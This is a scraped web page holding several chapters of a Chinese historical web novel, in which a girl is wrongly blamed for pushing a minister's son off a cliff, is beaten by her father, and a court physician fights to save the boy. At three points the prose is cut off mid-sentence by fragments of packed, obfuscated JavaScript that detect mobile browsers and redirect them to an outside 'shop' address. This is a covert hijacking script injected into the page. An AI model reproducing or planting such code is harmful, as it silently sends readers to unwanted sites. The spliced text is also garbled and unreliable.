王修安和洪楚离听了,后脊背一阵发凉,那凉意从尾椎骨一路爬到了后脑勺。王修安快步走出房间,走到父亲面前,压低声音,但每一个字都因为急切而微微发颤:“父亲,荀彧快不行了,得赶紧去请林太医。郎中说他瞳孔已经开始涣散,拖不了太久。” 王谦山长深深吸了一口气,那张素来从容不迫的脸上终于露出了无法掩饰的震动。他没有多说什么,只是沉声道:“还不赶紧去。”那声音比平时低了几分,却带着一种不容置疑的紧迫感。 王修安应了一声“是”,转身便朝后山跑去。他在后山的马厩里挑了一匹跑得最快的黄骠马,翻身上马,一抖缰绳,马鞭还未落下,那马便已如离弦之箭般冲了出去。马蹄翻飞,在山道上扬起一路烟尘。他伏低身子,耳边是呼呼的风声,脑子里只有一个念头——快一点,再快一点。 宋行简、肖朗、程国恩听到王修安那句“荀彧快不行了”,三人同时呆住了。 宋行简的身体晃了晃,往后退了一步,靠在一旁的廊柱上才勉强稳住身形,那廊柱冰凉粗糙,硌着他的后脊,他什么也感觉不到。他扶着廊柱,转过头,目光穿过院子落在宋含章身上,然后一步一步走到她面前。他的脚步声沉重而缓慢,像在丈量一个他从未想过的距离。 “钟荀彧快不行了。”他的声音沙哑而冰冷,像一把生了锈的刀,每一个字都沾着铁锈味,“如果他出了什么事,你就是有十个脑袋都不够砍。你知不知道,他是钟廷的老来子,也是钟廷的独子。整个户部、半个朝堂都不会放过你的。” 宋含章抬起头看着大哥。她的眼睛里没有躲闪,没有服软,也没有悔恨——因为那件事,本就不是她做的。她一字一字地说,声音不大,却每一个字都像是钉子钉进了地里:“不是我把他推下悬崖的。冤有头债有主,他不应该找我。” 宋行简看着妹妹那高高昂起的头颅,看着那双没有一丝悔意的眼睛,心里那团压抑了许久的怒火终于烧毁了他所有的理智。他扬起手,一巴掌扇在宋含章的脸上。“啪”的一声脆响,惊得院中所有人都回过头来。那声音在安静的院子里格外刺耳,春夏捂着嘴,眼泪一下子就涌了出来。 宋含章没有哭。她的脸上印着鲜红的指印,头被打得偏了过去,可她慢慢把头转回来,依旧昂着,声音比刚才更大了,大到院子里所有人都能听见:“不是我!我说了,不是我推的!” 宋行简一把抓住妹妹的领口,将她整个人拽到自己面前,手在发抖,声音也在发抖,眼眶红得像要滴血:“大家都看见了!你还不承认!宋含章,你到底还要不要父亲和母亲了?你是想让他们为你陪葬吗!” 宋含章依旧昂着头,被他拽着领口也毫不退缩,目光直直地迎向他的眼睛。她的声音沙哑却依然毫不退让:“是我做的,我就会承认。不是我做的,就是死,我也不会承认。” 宋行简气愤不已,又扬起手准备打宋含章。他的巴掌快要落在她脸上时,一只手稳稳地扣住了他的手腕。肖朗的手掌像一把铁钳,力道大得让宋行简动弹不得。 肖朗没有看宋行简,只是把他的手一推,然后拉起宋含章的手腕,转身就跑出了书院。春夏也立刻跟了上去,光着脚踩在青 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日头西斜,山道上的马蹄声惊起了一群归鸟。王修安快马疾驰,一路风尘仆仆,马嘴角都泛了白沫。他终于在城门关闭之前赶到了皇宫,翻身下马时腿都软了一下,随即凭着腰牌闯进了太医院。 此时,户部尚书钟廷恰好也在太医院——他这几日偶感风寒,来找林太医诊个脉,开两副药。 他正坐在偏厅的凳子上,袖着双手等着太医的方子,看到王修安闯进来时还微微皱了皱眉——青山书院的先生,怎么会这副模样闯进太医院? 王修安喘着粗气,衣襟上还沾着钟荀彧的血,已经来不及避讳,直接对着林太医把钟荀彧坠崖重伤、命悬一线的事和盘托出。他每说一个字,钟廷的脸色就白一分。 钟廷听到“儿子快没气了”这几个字时,整个人像是被重锤击中,脑袋里轰的一声炸响,眼前一黑,身体晃了两下,直直地栽倒在地,晕死了过去。他倒下去的时候撞翻了一旁的药架,几罐子药材哗啦啦碎了一地。顾子衿正在太医院整理药方,闻声吓了一跳,手里的毛笔落在纸上洇了一大团墨迹,手指不自觉地攥紧了。 林太医当机立断,交代其他太医好好照看钟廷,自己则迅速收拾了所有保命的药材——止血散、续命丹、吊命的千年老参,一股脑全塞进了药箱——便跟随王修安快步离开了太医院,朝着宫门一路小跑。 顾子衿也提着药箱跟了上去,她的心里在打鼓——含章不会推人的,一定不会。 暮色将至,天边的晚霞从金黄变成了暗红,再慢慢沉入群山的轮廓里。 王修安领着林太医和顾子衿终于赶到了青山书院。林太医疾步走进房间时,整个房间安静得只剩下一根蜡烛在燃烧。 他走到床边,俯身查看钟荀彧,伸手摸了摸他的胸口——胸口的热气已经骤然下降,触手一片湿凉,身体变得柔软无比,已经感觉不到呼吸的起伏。他侧耳贴在钟荀彧的鼻端,什么都听不到,又翻开他的眼皮——瞳孔涣散得更厉害了,眼白上翻,生机正在以肉眼可见的速度流逝。 林太医直起身,目光扫过屋里众人,在王修安脸上停了片刻。他的声音极沉,带着一种让人不敢质疑的权威:“去后山牵一头牛来。要活的,要壮实的,越快越好。” 王修安愣了一下——牵牛?但他看着林太医那不容置疑的眼神,什么也没有问,转身便奔出房门,朝后山跑去。他知道,林太医行医几十年,从来不做多余的事。 与此同时,肖朗已带着宋含章回到了宋府。宋含章的脸颊上印着鲜红的指印,衣襟上沾着血,身后跟着脚底全是伤的春夏。 肖朗把钟荀彧坠崖、宋含章被指认为推人凶手、全书院都看到了经过的事一五一十告诉了宋夫人。 宋夫人听完,站在原地没有动。然后她抬手捂着胸口,嘴唇哆嗦了一下,两眼一黑,整个人直直地晕了过去,肖朗和宋含章赶紧伸手接住了她,把她扶到了床上。 宫里的钟廷已经苏醒。他躺在太医院的榻上,慢慢睁开了眼,记忆一点点回来——青山书院,王修安,荀彧,快要没气了。 他的瞳孔猛地一缩,整个人从榻上弹坐起来,一把推开扶他的太医,踉踉跄跄地冲出太医院。 他命随从火速回府去告诉夫人儿子重伤垂危的消息,又命家丁们抄起家伙去把宋府团团围住——“一只苍蝇都不准放出去。”吩咐完后,他翻身上马,朝着青山书院的方向疾驰而去,马蹄在宫道上踏出急促而沉重的声响,消失在越来越深的暮色之中。 31. 杀牛,救人钟荀彧 宋四维回到府里,一路风尘仆仆,官服都来不及换。他今日在翰林院审了一整天的书稿,正想着回府后与夫人喝一盏清茶,却在家门口看到了面色煞白的管事,听到了那几个让他浑身血液都凝固了的字眼——“含章把钟家公子推下了悬崖,人快不行了。” 他站在前厅,看着跪在地上、脸上印着鲜红指印的女儿,一张性情温和了几十年的脸,瞬间暴怒起来。那怒意不是一朝一夕攒下的,是这十年来每一次登门道歉、每一次被言官弹劾教女无方、每一次深夜辗转反侧问自己“到底是哪里做错了”而攒下来的。 他一把将宋含章从地上拽起来,拖着她穿过回廊,推进了祠堂。他拿起家法——那是一根拇指粗的藤条,平日里挂在祠堂墙上落灰,今日被他攥在手里。 他把宋含章按在长凳上,举起藤条便抽了下去。一下,又一下,每一鞭都带着一个父亲最深的失望和恐惧。他一边打,一边骂,那声音从祠堂里传出来,让廊下站着的下人们都低下了头,不敢听,不敢看。 “你打人,你打架,你炸屋顶,我都忍了——可你竟然敢推人下悬崖!那是活生生的人命!你知不知道钟廷是什么人?他是户部尚书,是陛下的钱袋子,是朝堂上最不能得罪的人之一!你把他儿子的命当什么了?你把你爹娘的命当什么了?你把宋家上下几十口人的命当什么了?” 钟廷虽是清正之人,为官从不贪墨,户部的账目管得滴水不漏,连方丞相都不敢在银钱上拿捏他。但他也是快意恩仇之人,从不掩饰自己的爱憎。 朝堂之上,谁帮过他,他记一辈子;谁害过他,他也记一辈子。他是睚眦必报的人——独子钟荀彧是他和钟夫人的命根子,若是这根苗没了,他一定会让宋含章偿命,一定会用尽一切手段整垮宋家,哪怕掀翻整个翰林院也在所不惜。 宋四维不怕丢官,可他的儿女、他的妻子、他这一大家子人,都在京城里。钟廷若铁了心要报复,宋家能躲到哪里去? 宋含章趴在长凳上,藤条抽下来时她没有躲,背上的旧伤还没好全,新的鞭痕叠上去,她咬着牙,一声不吭。 她攥着凳子腿,牙齿把下唇咬破了,血顺着嘴角淌下来,和额头上疼出的冷汗混在一起。 肖朗和春夏跪在宋四维面前,肖朗的额头磕在青砖地上,春夏哭得话都说不清楚,两个人一左一右地求情,拦在宋四维面前,说含章不会推人,说这里面一定有误会。 可宋四维不为所动,他看到了太多“证据”——书院里所有人都看见了那只伸出去的手,他无法说服自己去相信女儿的一面之词。 宋玉章在房间里照顾刚刚苏醒的母亲。宋夫人躺在床上,双眼无神地望着帐顶,嘴唇灰白。 宋引章和宋清扬缩在祠堂门口,两个小家伙哇哇大哭,哭声震天响,仆人怎么哄也哄不好。 宋清扬拉着仆人的衣角,哭着要去找二姐姐;宋引章更是哭得上气不接下气,小脸憋得通红。兄妹俩跪在祠堂门外,透过门缝看见二姐姐趴在长凳上挨打,哭得上气不接下气。 那哭声传进祠堂里,宋四维的藤条停了一下,然后他闭上了眼睛,藤条从手里滑落在地上,发出沉闷的一声响。 钟府里,钟夫人听完钟廷贴身随从的禀报——公子被宋家二姑娘推下悬崖,现在生死不知——她只觉得胸口一阵剧痛,气火攻心,一个字都没来得及说,当场便晕厥了过去,直直地从椅子上滑倒在地。 府里的管事见状,顾不得搀扶夫人,立刻召集家丁,命他们抄起家伙——长刀、棍棒、火把——点上火把便朝着宋府浩浩荡荡地开去。火把在夜风中呼呼作响,橘红的火光映着家丁们凶神恶煞的脸。 青山书院的大院里,火把和灯笼将整个院子照得如同白昼。 西院的稚童早已被自家马车接走。 林太医已经把从后山牵来的那头牛杀了。刀落得又准又狠,那头健壮的黄牛轰然倒下,鲜血和热气在暮色里蒸腾。他跪在血泊里,利落地将牛的内脏掏出来,热气腾腾的牛腹敞开着,像一个临时的、温热的摇篮。 然后将已快没了气息、浑身冰凉、面部苍白如纸的钟荀彧抱起来,小心翼翼地放进了还冒着热气的牛肚子里。血淋淋的牛腹包裹住了那个小小的、冰冷的身体,温热的血液浸透了他的衣衫,浸透了他全身的皮肤。 这是古籍上记载的古法——以牲血活人之气,借生灵刚死之体温和血气,将濒死之人从鬼门关前拉回来。用一头牛的命,赌一个人的命。 一旁的王谦山长、宋行简、程国恩、洪楚离、王修安、虚弱无力的余老先生、顾子衿和一些学子都守在院中,个个神色凝重,连呼吸都压得极轻。 王修安的前襟还湿漉漉地贴在身上,分不清是潭水还是血水,平日里温润从容的脸上此刻只剩下了绷紧的线条。 宋行简立在人群中,望着那骇人的血泊和牛腹中的钟荀彧,脸上的指印早已退了,换来的是比夜色更深的灰败——那是他的妹妹,被指控做了这一切。 洪楚离也没有说话,平日里那张嘴今天闭得比谁都紧,只是不时往书院门口看一眼,仿佛在等什么人。 余老先生撑着虚脱的身子靠在廊柱上,几次想开口询问到底发生了什么,却连说话的力气都凑不出来。 顾子衿跪在林太医身边,替他递药、递银针、递绷带,手法娴熟而稳定,可她的眼眶是红的,嘴唇在微微发抖——她不信含章会做这种事。 宋含章把钟荀彧打得生命垂危的消息很快传遍了京城,从青山书院的书香门第传到了深宅大院,从深宅大院传到了街头巷尾的烧饼摊和杂货铺。 人们在茶余饭后议论纷纷——有人说宋含章果然是混世魔王,心狠手辣,这回算是闯下了滔天大祸;有人说钟家公子平日里总是嘲笑宋含章,这次是自食其果;也有人说这里面怕是有隐情,那宋家二姑娘虽然顽劣,但从没听说她做过真正害人性命的事。 可不管怎么议论,所有人都知道一件事——宋家与钟家,从今晚起,算是结下了死仇。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618711|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 皇宫里,顾贵妃在灯下为二皇子缝补一件袖口磨破的小衣裳,听完了宫女的禀报,轻轻叹了口气,说了一句“那孩子不像这样的人”。 皇上箫衡在御书房里听顺德禀报完,沉默了片刻,手中的朱笔在奏折上顿了一下,只说了四个字——“交给有司”。 沈府里,沈老夫人坐在灯下,手里转着一串佛珠,听到消息后闭了闭眼,喃喃道了一句“阿弥陀佛”。 她没有像旁人那样责怪宋含章,只是忧心不已——她知道含章那孩子胆子大,可胆子大和把人推下悬崖是两回事。如果这事是真的,宋含章这次恐怕凶多吉少。 而沈十安,一回到沈府便把自己关在了房间里,连晚饭都没有吃。他脱了外袍钻进被窝,从头到脚蒙得严严实实,在被子里瑟瑟发抖,牙齿打着颤。屋子里没有点灯,一片漆黑,他把头埋在枕头里,眼前全是钟荀彧坠崖时那张惊恐的脸和那越来越远的惨叫声,还有曾思雨那双从暗处伸出来的、狠狠推了一把的手。 顾府的饭桌上,饭菜摆得整整齐齐,却几乎无人动筷。顾老夫人和顾大夫人正一脸忧色地讨论着——宋含章的胆子实在是太大了,再怎么着也不能视人命为儿戏,这次钟家和宋家算是结下梁子了,以后朝堂上的日子恐怕不会太平。 顾大夫人话里话外都是对宋夫人的同情,说宋夫人命苦,摊上这么个闺女。 顾承宇并未说话,只是坐在一旁,细嚼慢咽地吃着饭,从头到尾没有发表一句评论。 没有人注意到,他握着筷子的手指节微微发白,也没有人注意到,他无声地观察着桌上每一个人的反应。 而顾子佩则是把头埋在碗里,不言不语,筷子戳着碗里的米饭,半天也没吃进去一口。 顾子佩从未这样过——这个平日里嘴皮子最利索、说起话来叽叽喳喳像只麻雀的丫头,此刻安静得像一只受了惊躲在角落里的小猫。顾承宇的目光在顾子佩身上停了片刻,然后收回,继续若无其事地夹了一口菜。 顾承泽躺在床上,虚弱地睡着了,脸色还带着腹泻后的苍白,额头上敷着一条温热的帕子。 顾二夫人守在一旁,眉头皱着,一边给儿子掖被角,一边低声抱怨书院饭食不干净——她和顾承泽一样,对后山发生的一切毫不知情,还以为是吃坏了肚子。她不知道,真正让她儿子虚弱成这样的,不是饭食,是那杯被曾思雨动了手脚的茶。 曾思雨回到靖王府,一下马车便说自己不舒服,晚饭不吃了,闷着头径直回了闺房,连平日里最宠她的父亲都没有看一眼。 她把房门从里面闩上,没有点灯,一个人坐在黑暗里。她的呼吸很急,脑子里反复回放着那一幕——她那一推,她自己的手从暗处伸出去狠狠推了一把的力度,钟荀彧掉下去时的眼神,那眼神里不是恐惧,是难以置信。 而靖王爷与年轻的宠妃正在花厅用膳,看到她匆匆离去,有些惊讶,却没往心里去——这丫头平日里骄纵惯了,脾气来得快去得也快,过两天就好了。 32. 方雍的算计,宋含章的不屈 方府里,灯火通明。丞相方雍的书房里,烛火照着他那张满是皱纹的脸,脸上的沟壑在灯光下像是一幅精心绘制的地图,每一道纹路里都藏着权谋与算计。 他听到了钟荀彧被宋含章打得生命垂危的消息,端着茶盏的手微微一顿,然后嘴角缓缓咧开,露出一口参差不齐的老牙。他脸上的皱纹都堆成了笑意,那笑意不是欣慰,不是愉悦,而是一种猎手看到了猎物落入陷阱时的满足。 他看着坐在下首的儿子方鹏举,声音里满是压不住的得意:“真是天助我也。如果钟荀彧死了,凭借钟廷那睚眦必报的性子,他一定会想尽一切办法整死宋四维的。宋四维一倒,翰林院那帮清流就群龙无首,陛下身边又少了一根硬骨头。” 方鹏举看着父亲,那张酷似方雍的脸上浮现出一抹精明的笑意,眼睛里闪着算计的光:“真是瞌睡来了有枕头。父亲,这一下,不用我们动手,他宋四维便会死在钟廷手里了。宋四维这些年处处与咱们作对,连陛下降旨修书都要插一脚,这一回,不用咱们费一兵一卒,自然有人替咱们收拾他。” 方雍捋了捋胡须,将茶盏搁在桌上,眼神沉了下来。他看着儿子,声音压得更低了,语气从得意变成了更为深沉的老谋深算:“你告诉继志,让他继续接触程国恩。但别急,慢慢来,要让他觉得自己是主动靠近咱们的,而不是咱们求着他来的。要让程国恩心甘情愿地登上咱们方家的船,就像温水煮蛙,水热了他也出不去。如果实在不行——”他顿了顿,浑浊的老眼里闪过一丝精光,“让继志把□□介绍给程国恩,施施美人计。这男人嘛,好色乃是天性。任他读了多少圣贤书,在美人面前,骨头都会软三分。” 方鹏举向前倾了倾身子,压低了声音,嘴角勾起一抹意味深长的笑:“父亲,说起□□——她本就与宋家大姑娘走得近,两人乃是闺中密友,隔三差五便在一处赏花论诗。儿子可以让□□主动去宋府寻宋家大姑娘,趁机接触程国恩。这样一来,既不会被宋家人察觉,也不会让程国恩觉得刻意。” 方雍点了点头,笑容里多了几分赞许,那赞许像一个老工匠在验收一件精巧的机关:“这个主意不错。□□那丫头,模样好,心思也活络,知道轻重。让她去,比谁都合适。”随后,他脸色陡然一沉,话锋一转,语气冷了下来,像一片阴云突然遮住了方才还明亮的月光:“方敏可曾从宫里递出什么消息?” 方鹏举摇了摇头,脸色也跟着沉了下来:“没有。宫里的眼线说她每日就是带着三皇子读书习字,偶尔去翠微宫坐坐,和顾贵妃……和其她姐妹妹说说话,从不向外传递任何消息。” 方雍一巴掌重重地拍在书案上,震得茶盏里的茶水都溅了出来,他咬着牙,声音从牙缝里挤出来,带着恨铁不成钢的恼火:“这个狼心狗肺的东西!本相在这里为他儿子谋前程,辛辛苦苦铺路搭桥,连亲孙女都搭进去了,她却躲在宫里不争不抢。若她不是姓方,本相真是懒得管她!” 方鹏举见父亲动了怒,连忙安抚,声音放得更柔和了些:“父亲息怒。她虽不争不抢,但只要她还能讨得陛下欢心,能在陛下耳边说几句软话,便已经足够了。您想想,只要陛下对三皇子高看一眼,立储的天平就会往咱们这边倾斜。一切不是有您吗?凭借您的能力和威望,云健成为太子,那是早晚之事。何必跟一个妇道人家计较眼前这点得失?” 方雍听了儿子的这番话,怒气这才稍减,可眉宇间那层阴霾并未完全散去。他重新端起茶盏,呷了一口,眼神沉如深潭。他比谁都清楚,君心难测,而方家看起来风光无限,实际上每一步都走在刀尖上。 他必须把每一个能用的人都抓在手里——程国恩是一条可以养成的暗棋,箫云健是他最大的筹码,至于方惠妃……他不再指望她,但也绝不允许她坏了方家的大局。 夜色沉沉,火把如一条长蛇般在宋府周围围了一圈。钟家的家丁们打着火把,已将宋府围了个水泄不通。 领头的家丁肩上扛着一柄长刀,刀身在火光中闪着冷冽的光。他站在宋府大门外的石阶下,沉声吩咐手下,声音不大,却沉得让人头皮发麻:“给我死死围住。一只苍蝇都不要放出去。在老爷到之前,任何人都不许进出。如果宋家有人硬闯——”他顿了顿,手按在了刀柄上,“拦不住,就打。” 火把的烈焰在夜风中噼啪作响,映得宋府门楣上那块“宋府”牌匾忽明忽暗,也映出了围墙上一个个严阵以待的黑影。 宋府的祠堂里,烛火还在燃着,照得列祖列宗的牌位一片肃穆。宋四维已经打累了,藤条从他的手中滑落在地。 他跪在列祖列宗面前,双膝磕在冷硬的青砖地上,低着头,双肩无力地垂着。 他的声音沙哑而苍老,那是一个父亲最深的忏悔,是一辈子修身养性却在此刻全部崩塌的绝望:“列祖列宗在上,不肖子孙宋四维,教女无方,致使含章酿成大祸。宋家百年清誉,今日毁于一旦。四维愧对列祖列宗,愧对宋家门楣。” 宋含章趴在那条被她身子暖热了的长凳上,屁股上的衣衫已经被藤条抽裂,布片间渗出的鲜血浸透了半条裙子,黏糊糊地贴在身上。 她咬着牙关,嘴唇已经被咬得血肉模糊,可她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋含章双手死死攥着凳腿,全身的肌肉都在疼,可她的声音却比任何时候都更响亮,响亮得像是要把祠堂的屋顶都掀翻:“是我做的,我就会承认!不是我做的,就是我死了,我也不会承认!就算你们打死我,我还是那句话——不是我推的!” 宋四维缓缓站起来,脚步沉重如灌了铅。他走到宋含章身边,居高临下地看着这个趴在自己亲手打出的血泊里的女儿:“你还说不是你做的——你听听府外的声音。钟家的人已经把宋府围起来了。你听听那火把烧的声音,听听那些刀剑碰撞的声音。你以为钟廷会听你解释吗?你以为全京城那些亲眼看见你伸出手的人,会相信你吗?证据、人证、动机,什么都有,你凭什么让人信你?” 宋含章抬起头,火光在她脸上明灭不定。她的眼睛里终于蓄满了泪,可她昂着头,硬是没让它们掉下来。那泪水在她眼眶里转了好几圈,最后被她生生忍了回去,只留下眼底一片通红的血丝。 她用尽最后的力气,大声喊道——那声音穿透了祠堂的门窗,穿透了宋府的围墙,穿过了火把噼啪作响的夜色,像一头被困在陷阱里却不肯倒下的幼兽—— “不是我!不是我推的 33. 鬼门十三针,与阎王抢人 这个夜晚,对于宋家、钟家和青山书院而言,都太漫长了。更夫敲过了三更,又敲过了四更,天色却迟迟不肯亮起来。这一夜,这三处的人,都眉头紧锁,不成眠。灯火在窗纸上映着一动不动的人影,偶有叹息声从门缝里漏出来,又被夜风卷走了。 第二日的日头慢慢升起,晨光穿过薄雾照在京城的屋顶上,也照亮了宋府门外那些举了一夜火把、刀尖上凝结了露水的钟家家丁。 宋四维并未去上朝——他也出不去,宋府前后门被钟家的人围得水泄不通,连买菜的仆人都被挡了回来。 宋四维和宋夫人并肩坐在前厅的太师椅上,两人都没有换衣裳,还是昨日那一身。茶盏里的茶早就凉透了,没有人来续。他们眼神呆滞,不言不语,偶尔对视一眼,又各自移开,那一夜之间,宋四维的鬓边仿佛添了几根白霜,宋夫人的眼角也舔了几道细纹。 祠堂里,背部和臀部血肉模糊、脸色苍白的宋含章趴在长凳上,还未醒来。她身下的血已经凝固了,结成深褐色的硬块,与凳子粘在了一起。她的嘴角却还残留着一丝倔强的弧度,像是在梦里也不肯低头。 她就是如此心大——从小到大,无论遇到何事,挨了多重的打,受了多大的委屈,都会好好吃饭,好好睡觉。昨夜被暴揍之后,昏过去的她竟然就这么趴在长凳上沉沉睡了过去,仿佛那满身的伤不过是被蚊子叮了几口。 没有宋四维和宋夫人的许可,春夏和肖朗不能擅自为宋含章上药。春夏蹲在祠堂门外,隔着那道门缝看着趴在长凳上的姑娘,看着她背上那新旧叠加、层层叠叠的伤口——有被马蹄踩过留下的紫黑色旧痕,有火药爆炸烫出的红色新疤,有竹鞭抽出的一道道血棱,血棱上还凝着暗红的血珠,皮肉翻卷着,触目惊心。她看着看着,伸出手捂住了自己的嘴,把哭声堵在了喉咙里,心痛得无法呼吸。 青山书院里,早已从牛肚子里出来的钟荀彧躺在偏房的床上,那套浸透了牛血和潭水的衣裳已经被换下,换上了一身干净的白布衫。 他的双眼依旧紧闭,面色灰白如纸,嘴唇干裂起皮,气若游丝,那呼吸细得像一根随时会被风吹断的蛛丝。但他的胸口,终究还有一丝微弱的起伏——这个从悬崖上摔下去、又在牛腹中待了几个时辰,还吊着一口气没有咽下去。 王谦山长、王修安、洪楚离、宋行简、程国恩等人依旧守在院中,焦急地等待着。昨夜谁都没有合眼,衣袍上沾着的露水和泥土都还来不及换。他们都希望钟荀彧平安无事——不仅是为了这个十一岁少年的性命,也是为了另一个十岁女孩的命运。 钟廷此时跪在房间门口的台阶上。他跪了整整一夜,膝盖在冷硬的石阶上磕出了青紫色的淤痕,发髻散了一半,朝服也没有换,皱巴巴地贴在身上。 他的双目布满了血丝,此刻的他,完全没有了朝廷重臣的威仪模样,没有了一丝户部尚书的架子。此时的他,只是一个希望儿子能活下来的父亲——一个软弱、卑微、愿意用自己的一切去换取儿子性命的父亲。 他三十二岁才求得的独子啊。娶妻十余载,夫人吃了多少药、拜了多少佛、求了多少医,才终于怀上了这一个孩子。生产时难产,夫人差点丢了性命,这个孩子是钟家盼了十几年才盼来的命根子。此时此刻,这个千辛万苦求来的孩子还在鬼门关前徘徊,而他这个做父亲的,除了跪在这里,什么都做不了。 不见其人,先闻其声。一声声悲戚的哭声从书院门口一路传来,打破了青山书院清晨的宁静。那哭声撕心裂肺,像是从胸腔最深处被生生拽出来的,带着一个母亲对儿子最深的爱与担忧。众人听闻这哭声,便知道是钟夫人来了——也只有一位母亲,才能发出这样的哭声。 浑身无力的钟夫人由两个仆人架着,几乎是被拖着走进青山书院的院中。她的头发散乱,几缕白发在晨光里格外刺眼;她的面容惨白,眼窝深陷,嘴唇干裂。一夜之间,这位京城的贵妇人像是被抽走了所有的力气和光彩,连走路的力气都没有了。 她来到房间门口,挣开仆人的搀扶,跌跌撞撞地跪在了钟廷身旁。夫妻二人并肩跪在门前,头发凌乱,神色悲痛,那样子令在场所有人心碎。 房间里,顾子衿被林太医请了出来。她红着眼眶走到门外,看了一眼跪在地上的钟廷夫妇,想说什么,又咽了回去。 钟廷和钟夫人看到门开了,赶紧爬进房间。钟廷的膝盖磕在地上发出沉闷的声响,他几乎是手脚并用地匍匐到了儿子的床边,钟夫人紧随其后,爬到儿子身边便握住了那只冰冷的小手,眼泪一滴一滴落在儿子苍白的手指上。 顾子衿走到王修安身边,抬起头看着他,声音里还带着鼻音:“先生,含章呢?她昨夜回去了吗?有没有人去看看她?” 王修安看着顾子衿那红肿的眼眶,心中不忍,轻声答道:“想必已回了宋府。” 顾子衿的眼眶里又浸出泪水,在晨光里打着转,她用力摇了摇头,像是要把那些眼泪甩回去:“含章不会做这样的事。她连蛇胆都敢吃,连马都敢挡——可她的拳头从来不打无辜的人。” 王修安沉默了一瞬,声音低沉,像是在说一件他自己也不愿相信的事:“众人亲眼所见,十数双眼睛都看到了她从崖边伸出的手。不会有假。” 顾子衿还是不信。她昂起头,那双被泪水洗过的眼睛格外清澈而倔强,那目光像一个看穿了太多世事的医者,而不是一个十岁的孩子:“眼见不一定为实。先生饱读诗书,当知‘三人成虎’,当知‘众口铄金’。所有人看到的都是同一个动作,可没有人看到她是不是真的推了——也没有人看到她眼睛里是什么。” 王修安看着顾子衿那双倔强而清澈的眼睛,想起她方才在房间里替林太医递针时那沉静而果决的模样,心里微微动了一下。他没有再反驳,只是轻轻岔开话题:“房间里面怎么样了?” 顾子衿转头看向房间门口,那扇门半掩着,里面安静得让人心慌。她缓缓说了一句,声音不大,却异常笃定:“先生放心,师父的鬼门十三针一出,就是阎王亲自来了,也不敢抢人。” 屋里,钟夫人紧紧握着儿子的手,那只小手冰凉得让她浑身发抖。她的声音沙哑而破碎,每一个字都是从心尖上撕下来的:“荀彧,娘的心肝,你醒醒吧……你看看娘一眼,就看一眼……娘给你做你最爱吃的桂花糕,你醒醒……” 钟廷跪在林太医面前,额头上磕出了红印,声音沙哑而卑微,完全没有了朝堂上那副从容自若的模样:“林太医,求求您,救救荀彧。 只要他能活过来,让我钟廷折寿十年都行——求求您,救救他……”他的声音从喉咙深处哽出来,几近失声。 林太医没有多言,只是说了一句“放心”,便让一旁的郎中把钟荀彧的衣衫全部褪尽。那具少年微胖的身躯上布满了从悬崖坠落时留下的擦伤和淤痕,胸口的起伏微弱得几乎看不见。 林太医深吸一口气,取出一根银针,屏息凝神,手起针落,开始施鬼门十三针——这是他从不外传的绝学,也是从阎王手里抢人的最后手段。每一针都扎在生死一线的穴位上,每一针都凝聚了他几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618713|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十年行医的心血。 威震将军府里,昨夜一直辗转难眠的霍凌霜此刻正站在院中。 晨光落在她的脸上,照出她一夜未眠的黑眼圈。她手里握着一根树枝在地上画着圈,画了一圈又一圈,焦躁地把昨夜的圈都踩烂了。 她的一颗心忐忑不安,像是被一根细线吊在半空中。她没想到曾思雨竟然出尔反尔——她们明明说好了放弃暗中整宋含章的计划,明明她挨了鞭子之后所有人都点了头。 她以为那个馊主意已经随着她背上那十道鞭痕一起结了疤,没想到曾思雨她们瞒着她,暗中按照她之前的计划,对宋含章出了手,造成了如今这不可收拾的局面。 她想把真相告知祖父,可又害怕霍家受到牵连——祖父一生清名,父亲和母亲还在北疆为国征战,若是被卷进这等事,后果不堪设想。 可如果不告诉,宋含章的日子必定凄惨——她会被赶出书院,会被全京城唾骂,甚至可能因此丢了性命。一时之间,她不知道如何办了。 她抬起手,狠狠扇了自己一个耳光,声音清脆,脸上火辣辣的。她后悔出了那个馊主意——那个掰断树枝吓唬宋含章的馊主意,变成了今天这头噬人的猛兽。 顾府里,顾承宇已早早练完剑,正站在廊下用一块干净的布擦拭着剑身。他的动作不疾不缓,可那双向来沉稳的眼睛,却不时地扫过顾子佩院子的方向。昨夜,她一句多余的话都没有说。那不是她。 皇帝箫衡派出的有司已出马,开始了调查。有司是直属于皇帝的监察机构,不受六部管辖,只对天子负责。 有司官员年近三十的陆鸣并未大张旗鼓,没有去书院兴师动众,没有去钟家慰问,也没有去宋家抓人。 他先找到宋含章打人的原因——沿着昨日那场风波的来龙去脉,从茶馆开始倒查。他把茶馆那个鼻青脸肿的说书人带到了有司衙门的讯问室里。 还未上刑,只是把讯问室墙上挂着的铁链和夹棍晾了晾,那说书人便已吓得屁滚尿流,跪在地上浑身哆嗦,连话都说不利索。 说书人如实地交代了:是一位陌生人给了他一些银子,让他把宋含章饭量大的秘密宣扬出去,而且特意交代他要在茶客面前说是钟家公子钟荀彧告诉他的。 说书人擦了擦额头上的冷汗,战战兢兢地补了一句:“那陌生人出手很大方,给的银子比小老儿说一年书都多。小老儿一时贪财,鬼迷心窍,就照做了。” 